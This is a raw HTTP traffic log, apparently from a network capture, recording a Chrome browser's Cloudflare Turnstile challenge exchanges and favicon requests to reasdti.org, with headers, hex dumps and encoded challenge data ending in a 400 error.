2025-03-21 18:07:54 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:54 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:54 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 923f643bba1a42dc-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:54 UTC	643	OUT	GET /page/images/favicon.ico HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:07:54 UTC	390	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:54 GMT Server: Apache/2.4.62 (Ubuntu) Last-Modified: Tue, 17 Sep 2024 02:03:54 GMT ETag: "47e-6224719f87680" Accept-Ranges: bytes Content-Length: 1150 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Content-Type: image/vnd.microsoft.icon
2025-03-21 18:07:54 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 f5 c2 50 ff f3 b2 24 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b2 22 ff f9 d2 7d ff 8a a4 fa ff 39 65 f5 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3b 66 f6 ff 63 86 f8 ff f3 b7 32 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a4 00 ff f7 ca 66 ff 77 95 f9 ff 18 4b f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1a 4c f3 ff 49 71 f6 ff f3 b7 33 ff f0 a5 00 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a5 00 ff f7 cb 67 ff 77 96 f9 ff 19 4c f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1b 4e f3 ff 4a 72 f6 ff f3 Data Ascii: h( P$%%%%"}9e<h<h<h<h;fc2fwKNNNNLIq3gwLOOOONJr

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:54 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3411 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:54 UTC	3411	OUT	Data Raw: 6b 24 6d 36 4a 36 52 36 50 36 6d 36 6c 61 6f 38 61 6f 58 36 61 70 48 30 56 65 61 43 6f 56 6f 33 54 70 37 6e 4b 6f 4f 78 30 36 62 4b 48 78 6f 7a 6f 41 4b 56 30 47 4b 57 52 6a 47 6f 43 4b 37 47 6f 59 6f 6b 74 36 6f 4a 78 36 6f 75 37 6f 75 31 24 57 66 6f 50 6d 71 78 78 47 37 4b 48 45 6f 67 70 48 33 6f 50 53 35 4f 6f 42 6f 48 34 24 30 65 69 72 75 6f 66 50 52 70 76 65 6f 51 36 37 75 30 52 65 30 42 4f 56 32 6f 35 52 77 49 72 44 4c 4b 57 6e 4d 32 4b 6f 53 53 32 6a 52 57 74 6d 44 32 4b 6f 31 4d 6d 66 66 37 61 55 6d 59 76 75 6a 6b 4a 61 37 52 50 70 7a 76 70 30 6f 66 50 36 41 37 56 6d 2d 48 58 53 44 45 34 6f 6a 36 48 41 4d 76 6d 75 68 61 53 4f 6f 51 79 6f 33 45 34 32 62 66 34 78 71 51 38 5a 52 36 67 75 6f 56 30 6f 2b 36 61 62 6f 78 31 77 6f 37 31 75 7a 33 75 6f 2d Data Ascii: k$m6J6R6P6m6lao8aoX6apH0VeaCoVo3Tp7nKoOx06bKHxozoAKV0GKWRjGoCK7GoYokt6oJx6ou7ou1$WfoPmqxxG7KHEogpH3oPS5OoBoH4$0eiruofPRpveoQ67u0Re0BOV2o5RwIrDLKWnM2KoSS2jRWtmD2Ko1Mmff7aUmYvujkJa7RPpzvp0ofP6A7Vm-HXSDE4oj6HAMvmuhaSOoQyo3E42bf4xqQ8ZR6guoV0o+6abox1wo71uz3uo-
2025-03-21 18:07:55 UTC	1051	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:55 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 228832 Connection: close cf-chl-gen: VD2N1Zw4HWTmt8LwPY4sYVAASQh6k6GlrU7gXcFgRJaNR6i68yVY70O87/t7I1nwAnc+xNH3I92jnTTvOseEcVpPdbGrDaSSRoDTWozJcBYihCbeWAcotq02A/B4E64livYL6y8sV3yHmTCuO9MGxAA8c0duxBp6GqKF7Hb9/vS48LeEnGK9Mbr8nv4Lc+ctdbMALZCzWOCQd6HLkErFBmtKwLXi8/RacFN0ddDScbI+nKOjUw8/7nFtIa60SlbkaVDtL915xXZVShJC2JSw9i4h6IcGRbqn73e4h+8KPU8W3P6cMtyINx1iC/0iuCaC9FRXsuU5NDwNvHBuky7tH8ZxK9m8lU9qnlRHxsdmTq+5A8QReg/mUzuAxXZ7zTRZk1Ba3riNGj9O/cJOalS30iFoatEgv15yGtATviQgWLBjNtfXlJbJP4kYgc9IXO/0MkKwEwVUUIKMMIwkpMi4K9xBHuzNZ5hrhc7XFn3vxwRJ+MeLlIC7EbdoruIpMcwv4ta1HGEpOoJblVXUrtd0Ho1iEs2aG6spqYru4ipXhLvSFulY8VN1LnYNY72s96b/V1lf2RZnRhrPTOEq6yZhC+ogGtEwu6alablptGedY/mEKIbTsABJWVpE+ZRreZAzHEdJtR1/l6f94dcFNspZW7HQMuv3zy6A4QTBW3yPgcQTlwpcFDd6DX0eb6qBFQ087DbV/2lF+fyJr3ngIEGAFRYvq+bIbsOBBqle/kSbss1HmtmEgwCZeaFeYU4b1spGpp2BvgU2d3yCKJZI0fsjtw==$BD5/DvTk/HSlILFCLB+HBg== Server: cloudflare CF-RAY: 923f643f8e924400-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:55 UTC	318	IN	Data Raw: 76 4c 61 4d 76 62 6d 78 72 4c 4f 57 6b 49 62 48 6c 4a 4b 53 6f 37 75 65 69 37 72 43 6a 64 4b 66 73 4d 75 49 72 38 71 69 31 38 79 4f 32 37 6e 65 34 4d 79 30 75 64 61 32 73 61 57 61 31 36 6e 5a 74 4f 66 42 79 65 48 53 76 4d 71 2f 38 73 62 52 72 72 69 77 31 65 33 4f 79 4d 72 4a 41 50 54 74 7a 41 55 46 30 74 50 33 39 4f 58 44 42 41 66 6e 41 67 38 4a 38 64 77 56 7a 50 45 4a 36 75 54 6c 36 42 30 64 41 4f 67 52 47 66 33 7a 2f 66 30 43 47 4f 58 30 2b 4f 72 32 48 51 33 75 2b 69 45 68 41 2b 63 31 49 67 49 34 45 68 59 73 4e 51 6b 57 41 45 45 6a 44 78 46 44 4a 45 4e 45 43 44 51 64 46 51 6f 4e 43 44 46 4a 45 46 51 78 51 77 38 76 4e 56 41 78 4e 45 77 6e 4e 30 6b 77 4b 31 56 43 4d 78 67 37 56 54 68 59 58 45 5a 63 52 30 4a 74 53 57 45 2f 4e 44 34 2b 4d 44 46 4c 52 55 64 Data Ascii: vLaMvbmxrLOWkIbHlJKSo7uei7rCjdKfsMuIr8qi18yO27ne4My0uda2saWa16nZtOfByeHSvMq/8sbRrriw1e3OyMrJAPTtzAUF0tP39OXDBAfnAg8J8dwVzPEJ6uTl6B0dAOgRGf3z/f0CGOX0+Or2HQ3u+iEhA+c1IgI4EhYsNQkWAEEjDxFDJENECDQdFQoNCDFJEFQxQw8vNVAxNEwnN0kwK1VCMxg7VThYXEZcR0JtSWE/ND4+MDFLRUd
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 61 67 5a 4b 70 36 6a 34 74 2f 70 6e 36 4f 71 59 79 43 69 61 79 32 68 70 65 77 6b 4a 57 64 66 5a 61 51 66 4a 75 51 74 4b 61 6d 76 71 71 72 77 61 47 4e 78 63 50 4b 79 4d 4b 4f 7a 64 69 69 6f 36 4f 7a 7a 4b 2b 63 75 38 2b 65 6f 37 37 54 35 62 72 6b 77 64 6d 7a 71 37 61 33 77 62 7a 6a 77 37 76 68 77 65 57 79 31 4d 6a 34 30 74 62 72 2f 64 4c 38 32 66 48 4c 77 38 37 50 32 64 50 37 32 73 72 63 31 51 33 4b 2b 64 30 4b 30 78 4c 53 34 74 44 6d 39 64 50 6b 39 74 58 64 49 51 45 6a 48 76 72 36 4a 2f 72 65 38 69 67 6d 39 76 59 4c 49 69 4d 42 45 51 41 76 2f 67 37 75 43 41 4d 47 46 6a 59 4b 43 6a 55 57 47 54 4e 42 4d 68 41 52 4e 6b 49 6a 50 77 51 43 51 79 6b 76 4d 53 77 79 49 41 34 77 56 79 78 43 49 31 68 4f 4c 46 6b 6d 54 69 77 66 4b 7a 77 32 4d 46 67 33 4a 7a 6b 79 61 Data Ascii: agZKp6j4t/pn6OqYyCiay2hpewkJWdfZaQfJuQtKamvqqrwaGNxcPKyMKOzdiio6OzzK+cu8+eo77T5brkwdmzq7a3wbzjw7vhweWy1Mj40tbr/dL82fHLw87P2dP72src1Q3K+d0K0xLS4tDm9dPk9tXdIQEjHvr6J/re8igm9vYLIiMBEQAv/g7uCAMGFjYKCjUWGTNBMhARNkIjPwQCQykvMSwyIA4wVyxCI1hOLFkmTiwfKzw2MFg3Jzkya
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 4b 61 6f 4e 78 6a 6d 36 49 64 5a 4a 79 70 48 6d 57 64 71 6c 39 6d 6e 71 75 75 61 57 53 68 4a 36 6d 67 37 65 46 6c 72 75 68 6f 4b 76 50 6b 6f 36 75 72 39 61 6b 78 71 69 54 72 4d 69 62 30 73 44 43 6c 64 62 45 78 38 58 61 79 4d 75 2b 75 38 6e 44 36 75 54 43 37 63 62 69 73 4d 4c 6c 39 4e 54 73 75 75 7a 77 37 74 37 74 74 38 43 2b 41 51 44 61 30 74 44 66 35 4e 73 42 34 39 67 4f 44 41 76 50 30 67 76 69 43 39 50 71 41 67 7a 37 47 67 34 58 30 53 44 33 49 51 33 79 41 76 54 77 46 79 4d 55 46 51 6e 6b 37 75 34 51 4b 52 37 79 2f 44 4d 33 39 44 6f 34 44 68 51 39 46 42 30 32 50 68 4d 7a 2b 6a 59 59 52 78 67 46 53 6a 30 37 43 79 55 62 48 6a 70 47 53 67 78 56 48 30 45 6a 49 6b 63 36 53 44 70 66 53 56 42 55 4c 54 78 64 57 44 46 41 5a 56 77 31 52 47 78 4f 57 45 5a 69 4b 55 Data Ascii: KaoNxjm6IdZJypHmWdql9mnquuaWShJ6mg7eFlruhoKvPko6ur9akxqiTrMib0sDCldbEx8XayMu+u8nD6uTC7cbisMLl9NTsuuzw7t7tt8C+AQDa0tDf5NsB49gODAvP0gviC9PqAgz7Gg4X0SD3IQ3yAvTwFyMUFQnk7u4QKR7y/DM39Do4DhQ9FB02PhMz+jYYRxgFSj07CyUbHjpGSgxVH0EjIkc6SDpfSVBULTxdWDFAZVw1RGxOWEZiKU
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 6c 5a 52 37 6b 35 46 34 71 37 32 39 6a 4c 47 5a 77 35 65 63 71 62 62 45 6d 49 6d 37 6f 36 53 68 78 38 58 4f 72 4c 47 71 79 4b 47 54 6d 4a 47 6e 70 70 61 66 33 70 36 76 77 62 4c 43 78 4c 44 44 6f 4b 6d 2b 7a 65 33 6f 72 63 58 77 37 63 71 2b 78 2f 44 53 74 66 48 6a 74 72 4b 37 38 2f 7a 4f 79 76 58 59 38 75 58 77 43 64 30 49 42 67 48 74 44 2b 4d 43 32 73 6f 52 32 39 37 68 34 52 49 44 35 52 48 35 39 41 33 32 38 77 76 54 49 69 4c 77 38 52 55 64 34 2f 59 5a 47 67 63 61 4a 51 7a 77 47 68 4c 75 4e 51 51 32 41 41 63 71 44 43 77 4f 4d 7a 55 73 44 42 2f 2b 46 68 59 32 4b 45 67 61 4e 53 54 39 42 77 52 48 4a 45 6c 4f 4a 45 49 2b 45 53 52 4a 56 69 67 31 56 54 73 71 4d 42 35 69 4b 69 73 78 59 55 39 46 50 56 6c 58 4a 6d 74 67 4f 47 4a 6e 59 6b 4e 30 4a 6b 4a 67 5a 55 35 Data Ascii: lZR7k5F4q729jLGZw5ecqbbEmIm7o6Shx8XOrLGqyKGTmJGnppaf3p6vwbLCxLDDoKm+ze3orcXw7cq+x/DStfHjtrK78/zOyvXY8uXwCd0IBgHtD+MC2soR297h4RID5RH59A328wvTIiLw8RUd4/YZGgcaJQzwGhLuNQQ2AAcqDCwOMzUsDB/+FhY2KEgaNST9BwRHJElOJEI+ESRJVig1VTsqMB5iKisxYU9FPVlXJmtgOGJnYkN0JkJgZU5
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 61 47 4b 67 72 54 46 76 34 2b 44 6b 58 76 48 6e 34 58 46 71 4b 43 62 69 4d 75 68 6e 71 47 78 77 61 53 6c 30 4c 4f 32 6d 35 71 66 33 70 36 75 33 4c 66 61 35 64 57 6f 31 4f 47 37 74 71 4f 70 72 75 37 70 77 76 4c 43 30 65 72 41 30 76 48 4d 2f 4d 79 31 30 76 7a 52 76 4f 33 33 33 72 7a 56 42 64 58 41 41 64 33 6b 2f 67 37 69 45 4d 37 62 2f 4f 48 52 42 74 62 58 39 50 45 64 44 78 7a 32 33 64 4c 33 46 50 73 67 38 78 50 34 38 2b 41 6a 35 78 6f 58 34 42 38 47 4b 79 55 7a 4c 77 77 42 38 79 6b 54 47 77 59 47 4b 78 34 73 48 6b 4d 74 4e 44 67 52 49 45 45 38 46 53 52 4a 51 42 6b 6f 55 44 49 38 4b 6b 59 4e 4d 54 51 53 4e 53 4d 57 54 6b 67 73 47 6a 38 71 49 43 39 54 59 44 35 41 51 6c 52 46 5a 30 56 59 58 79 78 4a 58 47 56 62 54 57 42 6f 62 31 46 6b 62 6b 31 56 61 48 46 33 Data Ascii: aGKgrTFv4+DkXvHn4XFqKCbiMuhnqGxwaSl0LO2m5qf3p6u3Lfa5dWo1OG7tqOpru7pwvLC0erA0vHM/My10vzRvO333rzVBdXAAd3k/g7iEM7b/OHRBtbX9PEdDxz23dL3FPsg8xP48+Aj5xoX4B8GKyUzLwwB8ykTGwYGKx4sHkMtNDgRIEE8FSRJQBkoUDI8KkYNMTQSNSMWTkgsGj8qIC9TYD5AQlRFZ0VYXyxJXGVbTWBob1Fkbk1VaHF3
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 4b 52 6d 70 47 6d 6f 38 7a 4c 6a 63 57 6e 70 59 6d 53 6b 63 53 67 79 74 50 47 6b 70 4c 63 70 64 32 6e 73 73 2b 2b 6e 75 54 6a 6e 4b 50 67 31 37 6d 6f 37 4b 6a 6d 35 36 65 73 71 63 66 6e 76 65 6d 30 31 4d 2f 5a 73 2f 6e 59 32 4e 44 4c 33 63 37 38 7a 65 44 33 32 76 4b 2f 2f 67 54 55 37 75 48 68 79 67 33 51 41 4d 34 52 31 41 54 53 46 64 67 49 31 68 6e 63 44 4e 6f 64 34 42 44 65 49 65 51 55 34 69 58 6f 47 4f 59 70 37 42 7a 71 37 4f 6b 49 4b 50 30 6d 41 52 51 73 47 67 77 76 4c 68 76 33 4c 69 38 6b 46 69 34 45 45 77 67 66 42 67 6b 48 46 6a 73 66 43 41 63 4a 53 53 6f 74 52 6b 55 6c 4d 43 35 57 58 42 4d 79 46 7a 39 68 4e 56 59 39 49 54 31 42 47 6a 35 4b 58 55 46 46 53 47 6b 39 52 30 5a 75 64 53 64 65 62 55 45 76 64 48 64 4f 65 33 70 6f 55 46 39 68 4e 56 68 68 51 Data Ascii: KRmpGmo8zLjcWnpYmSkcSgytPGkpLcpd2nss++nuTjnKPg17mo7Kjm56esqcfnvem01M/Zs/nY2NDL3c78zeD32vK//gTU7uHhyg3QAM4R1ATSFdgI1hncDNod4BDeIeQU4iXoGOYp7Bzq7OkIKP0mARQsGgwvLhv3Li8kFi4EEwgfBgkHFjsfCAcJSSotRkUlMC5WXBMyFz9hNVY9IT1BGj5KXUFFSGk9R0ZudSdebUEvdHdOe3poUF9hNVhhQ
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 43 6e 38 36 51 78 4d 65 4c 72 73 53 6e 6f 61 32 6d 73 39 6e 47 6c 4e 57 59 75 4e 4b 37 31 63 4b 76 76 39 33 68 73 64 71 36 78 4f 6a 4b 77 4d 4b 39 76 4f 36 2f 79 2b 33 31 37 2b 4c 5a 75 2b 54 52 37 4e 50 59 7a 50 6e 68 34 76 72 39 42 63 6a 6a 42 50 72 44 34 73 62 74 43 77 48 75 33 4f 45 51 42 77 7a 6a 30 51 6f 57 46 68 38 66 31 65 67 56 45 4f 2f 68 4a 76 41 6a 34 68 30 54 35 50 6b 47 2b 79 67 79 42 42 51 31 45 77 51 6f 45 66 66 72 39 79 6f 74 50 6a 4d 59 4c 69 34 4c 44 53 45 5a 49 52 4d 38 50 44 6b 2b 47 45 6f 36 54 6b 64 4b 55 45 59 53 43 42 45 71 4c 31 42 53 4b 6b 35 54 50 78 6c 66 4e 44 56 59 4d 44 78 53 53 45 51 6e 53 6d 46 45 61 31 6c 6b 4c 6b 34 79 5a 6d 42 54 5a 6e 49 78 5a 31 4a 30 64 45 35 35 65 33 51 34 58 7a 78 38 65 59 4a 6f 61 57 47 42 58 32 Data Ascii: Cn86QxMeLrsSnoa2ms9nGlNWYuNK71cKvv93hsdq6xOjKwMK9vO6/y+317+LZu+TR7NPYzPnh4vr9BcjjBPrD4sbtCwHu3OEQBwzj0QoWFh8f1egVEO/hJvAj4h0T5PkG+ygyBBQ1EwQoEffr9yotPjMYLi4LDSEZIRM8PDk+GEo6TkdKUEYSCBEqL1BSKk5TPxlfNDVYMDxSSEQnSmFEa1lkLk4yZmBTZnIxZ1J0dE55e3Q4Xzx8eYJoaWGBX2
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 6e 73 53 53 76 36 6e 4a 71 36 79 4f 30 72 36 30 75 74 43 7a 72 61 36 62 31 5a 37 46 75 4e 6d 69 32 4c 58 73 72 63 72 6d 79 38 62 71 34 65 33 31 37 65 61 31 78 4f 54 56 41 4d 2f 72 76 76 62 6a 38 74 75 2b 33 73 66 46 33 63 6e 57 77 2b 49 43 35 65 44 51 44 65 34 4b 30 75 48 69 34 68 72 37 37 65 66 6e 38 74 4c 77 2b 76 72 2b 46 66 66 78 38 74 38 61 34 67 72 38 48 75 59 64 2b 54 48 78 44 79 73 51 43 41 45 6d 4d 6a 6f 79 4b 2f 6b 4a 4b 52 70 45 46 44 41 44 4f 79 67 33 49 41 4d 6a 44 41 6f 69 44 68 73 49 4a 30 59 71 4a 52 56 52 4d 30 34 58 4a 69 63 6e 58 6b 41 79 4c 43 77 33 46 7a 55 2f 50 30 4e 5a 50 44 59 33 4a 46 34 6e 54 6b 46 69 4b 32 45 2b 64 54 5a 54 62 31 52 4d 52 6d 70 32 66 6e 5a 76 50 6b 31 74 58 6f 68 59 63 56 5a 54 58 6c 79 42 68 59 52 68 68 49 68 Data Ascii: nsSSv6nJq6yO0r60utCzra6b1Z7FuNmi2LXsrcrmy8bq4e317ea1xOTVAM/rvvbj8tu+3sfF3cnWw+IC5eDQDe4K0uHi4hr77efn8tLw+vr+Fffx8t8a4gr8HuYd+THxDysQCAEmMjoyK/kJKRpEFDADOyg3IAMjDAoiDhsIJ0YqJRVRM04XJicnXkAyLCw3FzU/P0NZPDY3JF4nTkFiK2E+dTZTb1RMRmp2fnZvPk1tXohYcVZTXlyBhYRhhIh
2025-03-21 18:07:55 UTC	1369	IN	Data Raw: 4d 53 58 6d 4e 54 57 72 4d 36 38 7a 5a 62 50 31 64 33 41 74 4b 58 62 31 65 4c 6c 33 38 72 4e 36 4d 76 4f 74 4d 76 4a 34 38 58 32 39 72 6e 79 79 4e 43 79 37 38 2f 36 7a 39 6e 31 76 75 44 54 2f 64 33 59 39 66 30 47 43 74 38 54 34 76 55 50 34 75 6a 4b 41 74 58 6b 31 4e 7a 51 48 76 50 66 2b 66 34 56 31 2f 34 5a 48 64 73 42 2f 66 34 47 4a 4f 62 6d 43 53 55 63 49 7a 4c 32 44 6a 48 7a 45 54 41 34 4f 7a 34 33 4c 50 6a 30 4f 43 31 42 4a 54 41 57 43 68 38 48 53 43 59 61 53 53 38 79 4b 6b 34 77 45 31 4a 5a 55 46 4e 45 47 30 55 39 53 6a 63 39 4b 6b 31 59 48 68 35 42 51 6c 55 6f 51 7a 63 70 5a 44 31 76 61 46 78 52 52 57 74 67 64 32 52 4e 59 6c 70 4a 62 57 5a 4f 56 6d 6c 31 64 30 39 44 55 6a 6d 42 63 30 64 7a 52 55 4e 63 6a 47 42 64 65 32 71 48 6c 6f 68 54 62 6e 53 4d Data Ascii: MSXmNTWrM68zZbP1d3AtKXb1eLl38rN6MvOtMvJ48X29rnyyNCy78/6z9n1vuDT/d3Y9f0GCt8T4vUP4ujKAtXk1NzQHvPf+f4V1/4ZHdsB/f4GJObmCSUcIzL2DjHzETA4Oz43LPj0OC1BJTAWCh8HSCYaSS8yKk4wE1JZUFNEG0U9Sjc9Kk1YHh5BQlUoQzcpZD1vaFxRRWtgd2RNYlpJbWZOVml1d09DUjmBc0dzRUNcjGBde2qHlohTbnSM

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:55 UTC	444	OUT	GET /page/images/favicon.ico HTTP/1.1 Host: reasdti.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:07:56 UTC	390	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:55 GMT Server: Apache/2.4.62 (Ubuntu) Last-Modified: Tue, 17 Sep 2024 02:03:54 GMT ETag: "47e-6224719f87680" Accept-Ranges: bytes Content-Length: 1150 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Content-Type: image/vnd.microsoft.icon
2025-03-21 18:07:56 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 f5 c2 50 ff f3 b2 24 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b2 22 ff f9 d2 7d ff 8a a4 fa ff 39 65 f5 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3b 66 f6 ff 63 86 f8 ff f3 b7 32 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a4 00 ff f7 ca 66 ff 77 95 f9 ff 18 4b f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1a 4c f3 ff 49 71 f6 ff f3 b7 33 ff f0 a5 00 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a5 00 ff f7 cb 67 ff 77 96 f9 ff 19 4c f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1b 4e f3 ff 4a 72 f6 ff f3 Data Ascii: h( P$%%%%"}9e<h<h<h<h;fc2fwKNNNNLIq3gwLOOOONJr

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:55 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:55 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Mar 2025 18:07:55 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: FFzFGS3OdjJh7NuhFMKyvsx1Kim3lGXMgEcl00GsrO0yoznHrzi+3oX1CmSVHWqcceWQt5a+Yd6+2dDNkZ6/jQ==$dMGpXfdn54wdMBnDf8oDLw== Server: cloudflare CF-RAY: 923f6445d98d43dc-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:07:55 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
